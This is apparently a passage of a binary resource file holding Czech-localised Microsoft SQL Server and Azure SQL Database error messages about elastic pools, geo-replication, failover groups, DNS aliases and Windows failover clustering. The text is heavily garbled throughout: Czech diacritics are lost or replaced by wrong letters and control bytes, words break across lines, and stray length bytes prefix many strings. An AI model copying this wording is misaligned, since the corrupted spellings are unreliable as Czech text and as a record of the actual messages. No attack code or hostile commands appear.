ten� nen� povolen�. Dala� informace najdete v t�matu http://go.microsoft.com/fwlink/?LinkID=402429&clcid=0x409.

TC�lov� oblast %1!s! nen� sp�rovan� oblast Azure pro zotaven� po hav�rii. Dala� informace najdete v t�matu http://go.microsoft.com/fwlink/?LinkID=402430&clcid=0x409.

�U~ivatelsky pY�vtiv� ukon
en� relace replikace bez mo~nosti 
ten� nen� podporovan�.

dUkon
en� relace replikace bez mo~nosti 
ten� pro datab�zi %1!s! te nen� povolen�. Dala� informace najdete na webu http://go.microsoft.com/fwlink/?LinkID=402431&clcid=0x409.

�Sekund�rn� datab�ze bez mo~nosti 
ten� nen� pro kopii datab�ze podporovan�.

�Datab�ze %1!s! na serveru %2!s! je datab�ze edice %3!s! v elastick�m fondu a nemo~e m�t relaci replikace.

Operaci se nepovedlo prov�st, proto~e server by pYekro
il povolenou kv�tu po
tu jednotek propustnosti datab�ze, kter� je %1!s!.

lZdrojov� datab�ze %1!s!.%2!s! nemo~e m�t vyaa� �roveH v�konu ne~ c�lov� datab�ze %3!s!.%4!s!. PYed zv�aen�m �rovn v�konu zdrojov� datab�ze zvyate �roveH v�konu c�lov� datab�ze.

lC�lov� datab�ze %1!s!.%2!s! nemo~e m�t ni~a� �roveH v�konu ne~ zdrojov� datab�ze %3!s!.%4!s!. PYed sn�~en�m �rovn v�konu c�lov� datab�ze sni~te �roveH v�konu zdrojov� datab�ze.

�Nepovedlo se zmnit edici z %1!s! na edici Standard pro datab�zi %2!s! v relaci replikace.

�Edici datab�ze nebylo mo~n� zmnit z %1!s! na Basic pro datab�zi %2!s! v relaci replikace.

tNejde otevY�t datab�zi %1!s! na serveru %2!s! po~adovanou na z�klad pYihlaaovac�ch �dajo. PY�stup k datab�zi je povolen� jenom pomoc� pYipojovac�ho Yetzce s podporou zabezpe
en�.

�Partnersk� server %1!s! nen� kompatibiln� se serverem %2!s!.

�Operaci nejde prov�st, proto~e datab�ze %1!s! nen� v relaci repliky ve stavu %2!s!.

�Nebylo mo~n� zmnit edici datab�ze %1!s! v relaci replikace.

�Nenaael se elastick� fond pro server: %1!s!, n�zev elastick�ho fondu: %2!s!.

pElastick� fond %1!s! u~ na serveru %2!s! existuje.

lElastick� fond nepodporuje edici datab�ze %1!s!.

�Kombinace elastick�ho fondu %1!s! a c�le na �rovni slu~by %2!s! je neplatn�.

�Edice datab�ze %1!s! se nemo~e liait od �rovn slu~by elastick�ho fondu, kter� je %2!s!.

�Pokud je zadan� c�l slu~by elastick�ho fondu, mus� b�t zadan� n�zev elastick�ho fondu.

dPYipojen� k t�to datab�zi u~ nejsou povolen�.

�Jednotky DTU pro elastick� fond mus� b�t minim�ln (%1!s!) DTU pro �roveH slu~by %2!s!.

�Po
et jednotek DTU pro elastick� fond nemo~e b�t pro �roveH slu~by %2!s! vyaa� ne~ (%1!s!) DTU.

�Maxim�ln� velikost (%1!s!) nen� platn�. Zadejte pros�m platnou maxim�ln� velikost.

�Maxim�ln� po
et jednotek DTU na datab�zi mus� b�t minim�ln (%1!s!) pro �roveH slu~by %2!s!.

�Maxim�ln� po
et jednotek DTU na datab�zi nesm� b�t pro �roveH slu~by %2!s! vta� ne~ (%1!s!).

�Maxim�ln� po
et jednotek DTU na datab�zi (%1!s!) pro elastick� fond nepatY� do zadan�ch hodnot pro �roveH slu~by %2!s!.

�Minim�ln� po
et jednotek DTU na datab�zi nesm� b�t pro �roveH slu~by %2!s! vta� ne~ (%1!s!) .

�Minim�ln� po
et jednotek DTU na datab�zi (%1!s!) pro elastick� fond nepatY� do povolen�ch hodnot pro �roveH slu~by %2!s!.

�Hodnota DTU (%1!s!) nen� platn�. Zadejte pros�m platnou hodnotu DTU.

Po
et datab�z� (%1!s!) a minim�ln� po
et jednotek DTU na datab�zi (%2!s!) nemo~e pYekro
it po
et jednotek DTU elastick�ho fondu (%3!s!).

�Jednotky DTU (%1!s!) pro elastick� fond nepatY� do zadan�ch hodnot pro �roveH slu~by %2!s!.

�Limit �lo~iat elastick�ho fondu v gigabajtech nemo~e pYekra
ovat limit (%1!s!) v r�mci �rovn slu~by %2!s!.

pElastick� fondy nejsou v t�to oblasti k dispozici.

DElastick� fond nen� pr�zdn�.

�Limit �lo~iat elastick�ho fondu v gigabajtech mus� b�t minim�ln (%1!s!) pro �roveH slu~by %2!s!.

�Limit �lo~iat elastick�ho fondu v gigabajtech (%1!s!) nepatY� mezi povolen� hodnoty pro �roveH slu~by %2!s!.

Po
et jednotek DTU (%1!s!) pro elastick� fond a limit �lo~iat v gigabajtech (%2!s!) nejsou pro �roveH slu~by %3!s! v souladu.

,Elastick� fond %1!s! dos�hl limitn�ho po
tu datab�z�. Po
et datab�z� pro elastick� fond nesm� pro vrstvu slu~by %3!s! pYekro
it hodnotu (%2!s!).

�Nen� mo~n� zmnit objekt na �rovni slu~by z edice DataWarehouse na jinou edici SQL DB a naopak.

Zadan� hodnota c�le na �rovni slu~by %1!s! je neplatn�. Mus� to b�t hodnota c�le na �rovni slu~by podporovan� edic� DataWarehouse.

0Nov� c�l �rovn slu~eb %1!s! m� fyzick� datab�ze (%2!s!) a nen� kompatibiln� s aktu�ln�m c�lem �rovn slu~eb, kter� m� (%3!s!) fyzick�ch datab�z�.

PDatab�zi se nepovedlo deaktivovat.

xPro datab�zi se nepovedlo zmnit c�l na �rovni slu~by.

LDatab�zi se nepovedlo aktivovat.

�Funkce aktualizace c�le na �rovni slu~by pro datab�zi je zak�zan�.

LPo
et jednotek DTU nebo limit �lo~iat pro elastick� fond %1!s! nen� mo~n� sn�~it, proto~e by tak nebyl k dispozici dostate
n� �lo~n� prostor pro jeho datab�ze.

|Elastick� fond je zanepr�zdnn� prov�dn�m jin� operace.

�Minim�ln� po
et jednotek DTU na datab�zi (%1!s!) nemo~e b�t vyaa� ne~ maxim�ln� po
et jednotek DTU na datab�zi (%2!s!).

pNejde se pYipojit k datab�zi, kter� je pozastaven�.

`Odkaz pro zkop�rov�n� datab�ze z um�stn� %1!s!.%2!s! do um�stn� %3!s!.%4!s! se nevytvoYil �span a odstranil se jeat pYed dokon
en�m operace odkazu pro kop�rov�n� dat.

(Odkaz na kop�rov�n� datab�ze z um�stn� %1!s!.%2!s! do um�stn� %3!s!.%4!s! nen� po dokon
en� operace odkazu kop�rov�n� dat v aktu�ln�m stavu.

Odkaz na kop�rov�n� datab�ze z um�stn� %1!s!.%2!s! do um�stn� %3!s!.%4!s! se pYed dokon
en�m kop�rov�n� �span neodstranil.

�Odkaz na kop�rov�n� datab�ze z: %1!s!.%2!s! do: ID %3!s! se nepovedlo �span odstranit.

�Limit �lo~iat elastick�ho fondu v megabajtech mus� b�t minim�ln (%1!s!) pro �roveH slu~by %2!s!.

�Limit �lo~iat elastick�ho fondu v megabajtech (%1!s!) nepatY� mezi povolen� hodnoty pro �roveH slu~by %2!s!.

Po
ty jednotek DTU (%1!s!) pro elastick� fond a limit �lo~iat v megabajtech (%2!s!) nejsou pro �roveH slu~by %3!s! v souladu.

hNejde zmnit �roveH slu~by pro elastick� fond.

�Limit �lo~iat elastick�ho fondu v megabajtech nemo~e pYekra
ovat limit (%1!s!) v r�mci �rovn slu~by %2!s!.

�PYi vytv�Yen� elastick�ho fondu Premium nen� mo~n� zadat objem �lo~iat fondu.

�Server %1!s! je te zanepr�zdnn�. Ne~ to budete zkouaet znovu, p�r minut pros�m po
kejte.

�Operaci se nepovedlo prov�st, proto~e server by pYekro
il povolenou kv�tu datab�ze edice %1!s!, kter� je %2!s!.

�Um�stn� %1!s! aktu�ln nepYij�m� vytvoYen� nov�ch servero Azure SQL Database verze %2!s!. Toto um�stn� podporuje jen n�sleduj�c� verze serveru: %3!s!. Zkuste to znovu s�podporovanou verz� serveru.

Zmnu c�le slu~by nejde pro datab�zi %1!s! na serveru %2!s! spustit, pokud b~� sou
asn pro datab�zi %3!s! na serveru %4!s!.

�Servery zapojen� do konfigurace zotaven� po hav�rii nemo~ou b�t ve stejn�m um�stn�.

�Pro %1!s! a %2!s! u~ existuje konfigurace zotaven� po hav�rii.

�Pro %1!s! a %2!s! neexistuje konfigurace zotaven� po hav�rii.

�Pro server %1!s! a virtu�ln� koncov� bod %2!s! neexistuje konfigurace zotaven� po hav�rii.

�Server %1!s! nen� sekund�rn� v konfiguraci zotaven� po hav�rii a nemo~e zah�jit pYevzet� slu~eb pYi selh�n�.

�Hodnota pro vlastn� uchov�n� z�lohy ve dnech mus� b�t mezi %1!s! a %2!s!.

�Windows Azure SQL Database podporuje maxim�ln %1!s! pravidel br�ny firewall virtu�ln� s�t.

�Nejde otevY�t server %1!s! po~adovan� pYihl�aen�m. Klient nem� k tomuto serveru povolen pY�stup.

�Secondary server specified in a Failover Group cannot reside in the same region

�Skupina pYevzet� slu~eb pYi selh�n� %1!s! u~ na serveru %2!s! existuje.

�Skupina pYevzet� slu~eb pYi selh�n� %1!s! na serveru %2!s! neexistuje.

Skupina pYevzet� slu~eb pYi selh�n� %1!s! je zanepr�zdnn� jinou operac� a nemo~e prov�st operaci %2!s!. Zkuste to znovu pozdji.

Server %1!s! je aktu�ln prim�rn�m serverem ve skupin pYevzet� slu~eb pYi selh�n� a nemo~e iniciovat pYevzet� slu~eb pYi selh�n�.

�Datab�ze %1!s! je ji~ zahrnut� v jin� skupin pYevzet� slu~eb pYi selh�n�.

�Prob�h� operace pYid�n� datab�ze %1!s! do skupiny pYevzet� slu~eb pYi selh�n�. Po
kejte na dokon
en� t�to operace.

�Prob�h� operace odebr�n� datab�ze %1!s! ze skupiny pYevzet� slu~eb pYi selh�n�. Po
kejte na dokon
en� t�to operace.

Datab�ze %1!s! je sekund�rn� v existuj�c� relaci geografick� replikace a nejde ji pYidat do t�to skupiny pYevzet� slu~eb pYi selh�n�

�The operation cannot be performed due to multiple errors: '%1!s!'

tNejde se pYipojit k datab�zi v jej�m aktu�ln�m stavu.

�Operaci nejde prov�st, proto~e odkaz geografick� replikace je sou
�st� skupiny pYevzet� slu~eb pYi selh�n�. Pokud datab�zi chcete jednotliv ukon
it nebo pYevz�t slu~by pYi selh�n�, mus�te ji ze skupiny odebrat.

�Koncov� bod %1!s! se u~ pou~�v�. Pou~ijte jin� n�zev skupiny pYevzet� slu~eb pYi selh�n�.

�Operace vytvoYen� nebo aktualizace skupiny pYevzet� slu~eb pYi selh�n� byla �span dokon
ena. Nkter� z datab�z� ale nealo pYidat nebo odebrat ze skupiny pYevzet� slu~eb pYi selh�n�: %1!s!

Zdrojov� datab�ze %1!s!.%2!s! nemo~e m�t vyaa� edici ne~ c�lov� datab�ze %3!s!.%4!s!. Upgradujte edici c�le pYed upgradem zdroje.

C�lov� datab�ze %1!s!.%2!s! nemo~e m�t ni~a� edici ne~ zdrojov� datab�ze %3!s!.%4!s!. Downgradujte edici zdroje pYed downgradem c�le.

�N�zev skupiny pYevzet� slu~eb pYi selh�n� %1!s! nemo~e b�t pr�zdn� ani m�t hodnotu null. Mo~e obsahovat jen mal� p�smena a z, 
�sla 0 9 a spojovn�k. Spojovn�kem n�zev nesm� za
�nat ani kon
it.

Elastick� fond nemo~e zmnit svou �roveH slu~by, proto~e jedna nebo v�ce z jeho datab�z� pou~�v� pameov optimalizovan� objekty.

�Edice %1!s! nepodporuje maxim�ln� velikost tempdb datab�ze %2!s!.

hN�zev aliasu DNS serveru %1!s! nesm� b�t pr�zdn� ani m�t hodnotu null. Mo~e obsahovat jen mal� p�smena a z, 
�sla 0 9 a spojovn�k. Spojovn�kem n�zev nesm� za
�nat ani kon
it.

�Koncov� bod %1!s! se u~ pou~�v�. Pou~ijte jin� n�zev aliasu DNS serveru.

�The Server DNS Alias '%1!s!' already exists for the server '%2!s!'.

�The Server DNS Alias '%1!s!' does not exist for the server '%2!s!'.

�Alias DNS serveru %1!s! je zanepr�zdnn� jinou operac� a nemo~e prov�st operaci %2!s!. Zkuste to znovu pozdji.

 Operace ak�lov�n� z c�le �rovn slu~eb %1!s! na nov� c�l �rovn slu~eb %2!s! nen� podporov�na. VytvoYte pros�m l�stek podpory.

<Elastick� fond %1!s! nejde aktualizovat, proto~e jedna z jeho datab�z� prov�d� operaci kop�rov�n� nebo geografick� replikace pYevzet� slu~eb pYi selh�n�.

�Operaci kop�rov�n� pro datab�zi %1!s! na serveru %2!s! nejde spustit, proto~e elastick� fond %3!s! se pr�v aktualizuje.

4Nejde prov�st operaci pYiYazen� c�le slu~by, proto~e prob�h� operace kop�rov�n� nebo pYevzet� slu~eb pYi selh�n� pro datab�zi %1!s! na serveru %2!s!.

Na serveru %1!s! nejde vytvoYit skupinu pYevzet� slu~eb pYi selh�n�, proto~e je pro tento server povolen� funkce auditov�n� tabulek.

�Datab�zi %1!s! na serveru %2!s! nejde pYidat do skupiny pYevzet� slu~eb pYi selh�n�, proto~e je pro tuto datab�zi zapnut� funkce auditov�n� tabulek nebo pY�stup s povolen�m zabezpe
en�m.

,Auditov�n� tabulek nen� mo~n� zapnout na serveru, kter� obsahuje skupiny pYevzet� slu~eb pYi selh�n�. Zkuste m�sto toho auditov�n� objekto blob.

0Funkci auditov�n� tabulek nebo pY�stupu s povolen�m zabezpe
en�m nejde zapnout pro datab�zi, kter� je sou
�st� skupiny pYevzet� slu~eb pYi selh�n�.

,Funkci auditov�n� tabulek nebo pY�stupu s povolen�m zabezpe
en�m nejde zapnout pro datab�zi, kter� je um�stn� na serveru s aliasem serveru DNS.

�Nejde vytvoYit alias serveru DNS pro server %1!s!, proto~e je pro tento server povolen� funkce auditov�n� tabulek.

<Nejde vytvoYit alias serveru DNS pro server %1!s!, proto~e datab�ze %2!s! m� povolenou funkci auditov�n� tabulek nebo pY�stupu s povolen�m zabezpe
en�m.

�Alias DNS %1!s! ji~ existuje pro elastick� fond %2!s! na serveru%3!s!.

�Alias DNS %1!s! neexistuje pro elastick� fond %2!s! na serveru%3!s!.

�Alias serveru DNS nejde vytvoYit, proto~e server %1!s! by pYekro
il povolenou kv�tu %2!s! aliaso serveru DNS.

(Skupinu pYevzet� slu~eb pYi selh�n� nejde vytvoYit, proto~e server %1!s! by pYekro
il povolenou kv�tu %2!s! skupin pYevzet� slu~eb pYi selh�n�.

Auditov�n� tabulek nen� mo~n� zapnout na serveru, kter� obsahuje aliasy DNS serveru. Zkuste m�sto toho auditov�n� objekto blob.

�Operaci nelze prov�st z dovodu nedostatku m�sta v elastick�m fondu. Operace vy~aduje (%1!s!) MB m�sta a k dispozici je jen (%2!s!) MB. Nevyu~it� m�sto je nutn� pYed zopakov�n�m operace obnovit. Podrobnosti o obnoven� nevyu~�van�ho m�sta najdete v n�sleduj�c�m 
l�nku: https://go.microsoft.com/fwlink/?linkid=864775.

�Funkce konfigurace zotaven� po hav�rii serveru je zastaral�. Pou~ijte m�sto n� skupinu pYevzet� slu~eb pYi selh�n�.

�Minim�ln� po
et jednotek DTU na datab�zi mus� b�t minim�ln (%1!s!) pro �roveH slu~by %2!s!.

�Maxim�ln� po
et virtu�ln�ch jader na datab�zi mus� b�t minim�ln (%1!s!) pro �roveH slu~by %2!s!.

�Maxim�ln� po
et virtu�ln�ch jader na datab�zi nesm� pYes�hnout (%1!s!) pro �roveH slu~by %2!s!.

Maxim�ln� po
et virtu�ln�ch jader na datab�zi (%1!s!) pro tento elastick� fond nepatY� k zadan�m hodnot�m pro �roveH slu~by %2!s!.

�Minim�ln� po
et virtu�ln�ch jader na datab�zi nesm� pYes�hnout (%1!s!) pro �roveH slu~by %2!s!.

�Minim�ln� po
et virtu�ln�ch jader na datab�zi mus� b�t minim�ln (%1!s!) pro �roveH slu~by %2!s!.

Minim�ln� po
et virtu�ln�ch jader na datab�zi (%1!s!) pro tento elastick� fond nepatY� k povolen�m hodnot�m pro �roveH slu~by %2!s!.

Minim�ln� po
et virtu�ln�ch jader na datab�zi (%1!s!) nemo~e b�t vyaa� ne~ maxim�ln� po
et virtu�ln�ch jader na datab�zi (%2!s!).

xC�l �rovn slu~by %1!s! nepodporuje typ licence %2!s!.

�Nebyl nalezen ~�dn� c�l slu~by pro kapacitu %1!s! v edici %2!s!

�Byl nalezen v�ce ne~ jeden c�l slu~by pro kapacitu %1!s! v edici %2!s!

�V�sledkem operace je pYekro
en� limito kv�ty %1!s!. Povolen� maximum: %2!s!.

�Nejde otevY�t server %1!s! po~adovan� pYihl�aen�m. Klient nem� k tomuto serveru povolen pY�stup.

`Nejde pYej�t z edice %1!s! na edici %2!s!.

�Skupinu pYevzet� slu~eb pYi selh�n� %1!s! po~adovanou pYihl�aen�m nejde otevY�t. PYihl�aen� selhalo.

Dos�hli jste limitu po
tu kopi� datab�ze na jednu datab�zi. Maxim�ln� povolen� po
et soub~n�ch kopi� datab�ze %1!s! je %2!s!.

�Datab�zi nejde zruait, proto~e ve skupin pYevzet� slu~eb pYi selh�n� prob�h� operace pYevzet� slu~eb pYi selh�n�.

�Zadan� oblast partnera neodpov�d� oblasti spravovan� instance partnera.

�Z�na DNS instance spravovan� partnerem neodpov�d� z�n DNS spravovan� instance zdroje.

�Skupinu pYevzet� slu~eb pYi selh�n� instance nelze vytvoYit, proto~e server spravovan� partnerem %1!s! nen� pr�zdn� nebo nem� sekund�rn� datab�ze pro vaechny datab�ze v prim�rn� instanci %2!s!.

T%1!s! nen� podporovan� 
asov� p�smo.

|Skupinu pYevzet� slu~eb pYi selh�n� instance nejde vytvoYit, proto~e velikost vyhrazen�ho �lo~iat na sekund�rn� instanci se lia� od velikosti vyhrazen�ho �lo~iat na prim�rn� instanci.

4Datab�ze nen� k dispozici, proto~e je pozastaven�. Server %1!s!, datab�ze %2!s!. PYed dala�m pokusem o pY�stup k datab�zi ji nejdY�ve znovu spusete.

�Spravovan� server / skupina pYevzet� slu~eb pYi selh�n� spravovan�ho serveru partnera byla vyYazena.

�Datab�ze %1!s! je nepY�stupn� z dovodu kritick� chyby Azure Key Vault.

�Skupinu pYevzet� slu~eb pYi selh�n� instance nejde vytvoYit, proto~e sekund�rn� instance m� u~ivatelsk� datab�ze.

�Replikaci spravovan� instance partnera nejde zajistit. Zkontrolujte, jestli pYipojen� mezi virtu�ln�mi s�tmi prim�rn�ho a sekund�rn�ho spravovan�ho serveru bylo nav�z�no podle pokyno v https://aka.ms/instanceFailoverGroups.

�Datab�ze �rovn Free nemo~e b�t c�lem funkc� Restore a GeoRestore.

�Funkce Restore a GeoRestore nejsou u datab�ze �rovn Free podporov�ny.

�V podporovan�m obdob� obnoven� neexistuje na serveru %3!s! zdrojov� datab�ze %1!s! vyYazen� %2!s!.

8V podporovan�m obdob� obnoven� neexistuje na serveru %2!s! zdrojov� datab�ze %1!s!. Pokud obnovujete vyYazenou datab�zi, zadejte jej� datum odstrann�.

�The Hyperscale edition recovery requires both source and target databases to use VLDB service level objective.

he Hyperscale edition Point-In-Time restore requires both source and target databases to use VLDB service level objective.

�Zad�n� elastick�ho fondu nebo zmna c�le �rovn slu~by nebo edice nejsou pro edici %1!s! podporov�ny.

NepodaYilo se z�skat popisova
 m�stn� slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

NepodaYilo se z�skat n�zev m�stn�ho po
�ta
e (k�d chyby %1!s!). Poskytnut� vyrovn�vac� pame je pravdpodobn pY�lia mal� nebo doalo k syst�mov� chyb. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci k opera
n�mu syst�mu.

(NepodaYilo se z�skat popisova
 uzlu m�stn� slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

NepodaYilo se z�skat ID uzlu m�stn� slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se z�skat popisova
 skupiny slu~by Windows Server Failover Clustering (WSFC) pro skupinu clusteru s n�zvem 
i ID %1!s! (k�d chyby %2!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je neplatn� zadan� n�zev 
i ID skupiny clusteru. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se z�skat popisova
 prostYedku slu~by Windows Server Failover Clustering (WSFC) pro prostYedek clusteru s n�zvem 
i ID %1!s! (k�d chyby %2!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je neplatn� zadan� n�zev 
i ID prostYedku clusteru. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se vytvoYit skupinu slu~by Windows Server Failover Clustering (WSFC) s n�zvem %1!s! (k�d chyby %2!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je neplatn� zadan� n�zev skupiny clusteru. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

pRozhran� API ovl�dac�ho prvku skupiny slu~by Windows Server Failover Clustering (WSFC) vr�tilo k�d chyby %1!s!. Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se vytvoYit prostYedek slu~by Windows Server Failover Clustering (WSFC) s n�zvem %1!s! a typem %2!s! (k�d chyby %3!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je neplatn� zadan� n�zev 
i typ prostYedku clusteru. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

xRozhran� API ovl�dac�ho prvku prostYedku slu~by Windows Server Failover Clustering (WSFC) vr�tilo k�d chyby %1!s!. Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se uv�st skupinu slu~by Windows Server Failover Clustering (WSFC) do online re~imu (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je neplatn� zadan� n�zev skupiny clusteru. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se uv�st skupinu slu~by Windows Server Failover Clustering (WSFC) do offline re~imu (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je neplatn� zadan� n�zev skupiny clusteru. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

lRozhran� API ovl�dac�ho prvku uzlu slu~by Windows Server Failover Clustering (WSFC) vr�tilo k�d chyby %1!s!. Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se z�skat popisova
 v�
tu prostYedko slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je zadan� popisova
 prostYedku clusteru neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se vytvoYit v�
et prostYedko slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je zadan� popisova
 v�
tu prostYedko clusteru neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

NepodaYilo se z�skat popisova
 uzlu slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %1!s!) pro uzel %2!s!. Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je zadan� n�zev uzlu clusteru neplatn�. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se odebrat uzel ze seznamu mo~n�ch vlastn�ko prostYedku slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je zadan� popisova
 prostYedku 
i uzlu clusteru neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se pYidat uzel do seznamu mo~n�ch vlastn�ko prostYedku slu~by Windows Server Failover Clustering (WSFC) (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je zadan� popisova
 prostYedku 
i uzlu clusteru neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se pYesunout skupinu slu~by Windows Server Failover Clustering (WSFC) do m�stn�ho uzlu (k�d chyby %1!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je zadan� popisova
 skupiny clusteru 
i uzlu neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se odpojit skupinu slu~by Windows Server Failover Clustering (WSFC) s n�zvem 
i ID %1!s! (k�d chyby %2!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo je neplatn� zadan� n�zev 
i ID skupiny clusteru. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se naj�t Yetzcovou vlastnost (n�zev vlastnosti %1!s!) prostYedku slu~by Windows Server Failover Clustering (WSFC) s n�zvem nebo ID %2!s! (k�d chyby %3!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se naj�t vlastnost DWORD (n�zev vlastnosti %1!s!) prostYedku slu~by Windows Server Failover Clustering (WSFC) s ID %2!s! (k�d chyby %3!s!). Pokud je toto skupina dostupnosti WSFC, slu~ba WSFC pravdpodobn neb~� nebo k n� nelze v jej�m aktu�ln�m stavu pYistupovat nebo jsou zadan� argumenty neplatn�. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory. Informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

�NepodaYilo se vytvoYit port pro oznamov�n� slu~by Windows Server Failover Clustering (WSFC) s filtrem pro oznamov�n� %1!s! a kl�
